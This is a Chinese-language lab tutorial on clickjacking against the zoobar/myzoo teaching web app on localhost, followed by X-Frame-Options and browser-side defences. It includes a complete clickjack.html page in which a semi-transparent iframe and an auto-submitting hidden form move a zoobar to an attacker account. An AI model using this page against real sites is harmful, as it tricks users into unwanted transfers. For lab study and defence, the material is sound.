点击劫持技术
概念:又称界面伪装攻击(ui redress attack),是一种视觉上的欺骗手段,攻击者使用一个或多个透明的iframe覆盖在一个正常的网页上,然后诱使用户在该网页上进行操作,当用户在不知情的情况下点击透明的iframe页面时,用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。
方式:攻击者既可以通过点击劫持设计一个独立的恶意网站,执行钓鱼攻击等;也可以与XSS和CSRF攻击相结合,突破传统的防御措施,提升漏洞的危害程度。
点击劫持攻击实现
实施攻击的一般步骤
- 黑客创建一个网页,利用iframe包含目标网站
- 隐藏目标网站,使用户无法察觉到目标网站存在
- 构造网页,诱骗用户点击特定按钮
- 用户在不知情的情况下点击按钮,触发执行恶心网页的命令
配置myzoo网站
修改/etc/apache2/sites-available
如果myzoo的代码位于/var/www,则仅需修改default,修改DocumentRoot为myzoo的位置,然后重启apache2:sudo service apache2 restart
;如果myzoo的代码不是放在/var/www,还需修改apache2.conf,将 require all denied
改成require all granted
。此时,浏览器输入http://localhost
应该可以访问zoobar网站。
在myzoo网站上创建一个clickjack用户
将profile设置成 <a href="http://localhost/clickjack.html">点我赢iphone</a>
myzoo网站修改transfer.php中的if语句
<?php
session_start();
?>
<?php
require_once("includes/common.php");
nav_start_outer("Transfer");
nav_start_inner();
//这里修改成如下
if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf']) {
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));
$recipient = $_POST['recipient'];
$zoobars = (int) $_POST['zoobars'];
$sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
$rs = $db->executeQuery($sql);
...
设置点击劫持网页clickjack.html
我将它放到了myzoo的同目录下面,这个网站是黑客专门设置给用户看到的界面,用来吸引用户点击,里面可以嵌入其他的网站来实现点击劫持攻击
clickjack.html代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
opacity: 0.5;
}
#clickjack {
position: absolute;
top: 307px;
left: 596px;
z-index: 1;
}
</style>
</head>
<body>
<iframe name="it" src="http://localhost/transfer.php" scrolling="no"></iframe>
<form method="POST" name="transferform" action="http://localhost/transfer.php" target="it" id="transferform"
style="display:none">
<input name="zoobars" type="text" value="1" size="5">
<input name="recipient" type="text" value="clickjack">
<input type="hidden" name="submission" value="Send">
</form>
<form>
<input type="submit" id="clickjack" value="WIN">
</form>
<script type="text/javascript">
form = document.getElementById("transferform");
form.submit();
</script>
</body>
</html>
代码解释
<iframe>
标签中嵌入了transfer.php页面,并通过opacity设置透明度, iframe的透明度不能设置为0,如果设置为0的话,就不能接受任何的点击事件了
css隐藏元素
-
display: none
:不占据空间,无法点击 -
visibility: hidden
:占据空间,无法点击 -
opacity: 0; filter:Alpha(opacity=0)
:占据空间,可以点击
这里使用opacity设置透明度,为了便于观察,将opacity设置成0.5
在clickjack.html中有一个form表单,里面设置了设置了一些表单参数,表单方式为post提交,提交的网站是“transfer.php”,script脚本中将该表单提交,当用户进入到clickjack.html后即设置好了需要转账给黑客账号clickjack的1个zoobar的参数。
当用户查看攻击者的profile时,被诱导点击了按钮时,其实点击的是transfer.php页面中的send按钮,这样就会给黑客发送一个zoobar
点击劫持防御
服务端防御:
设置X-FRAME-OPTIONS响应头
功能:X-Frame-Option http 响应头部可以被用于设置浏览器是否允许通过<frame>
, <iframe>
, <embed>
or <object>
来渲染页面,网站可以通过设置X-Frame-Option来确保网站的内容不会被嵌入到其他网页中从而防御点击劫持攻击。
语法:
-
X-Frame-Options: DENY
:网站不能被嵌入到frame -
X-Frame-Options: SAMEORIGIN
: 页面只能显示在与页面本身位于同一来源的frame中 -
X-Frame-Options: uri
: 表示该页面可以在指定来源的 frame 中展示
配置方式
一、配置Apache在所有页面上发送 X-Frame-Options 响应头
修改apache配置文件中的000-default.conf,sudo vim /etc/apache2/sites-available/000-default.conf
,在里面加入Header always append X-Frame-Options DENY
重启apache2后生效
sudo a2enmod headers
sudo systemctl restart apache2
二、直接在需要防御点击劫持的页面上设置X-Frame-Options 响应头
在transfer.php页面php头部增加一句X-Frame-Options:DENY
header('X-Frame-Options:DENY');
:所有的网页都不允许加载iframeheader('X-Frame-Options:SAMEORIGIN');
:同源网页可以加载iframe
<?php
header("X-Frame-Options:DENY");
?>
客户端防御
- 升级浏览器:最新版本的浏览器提供很多防御点击劫持漏洞的安全机制
- NoScript扩展:NoScript中的ClearClick组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面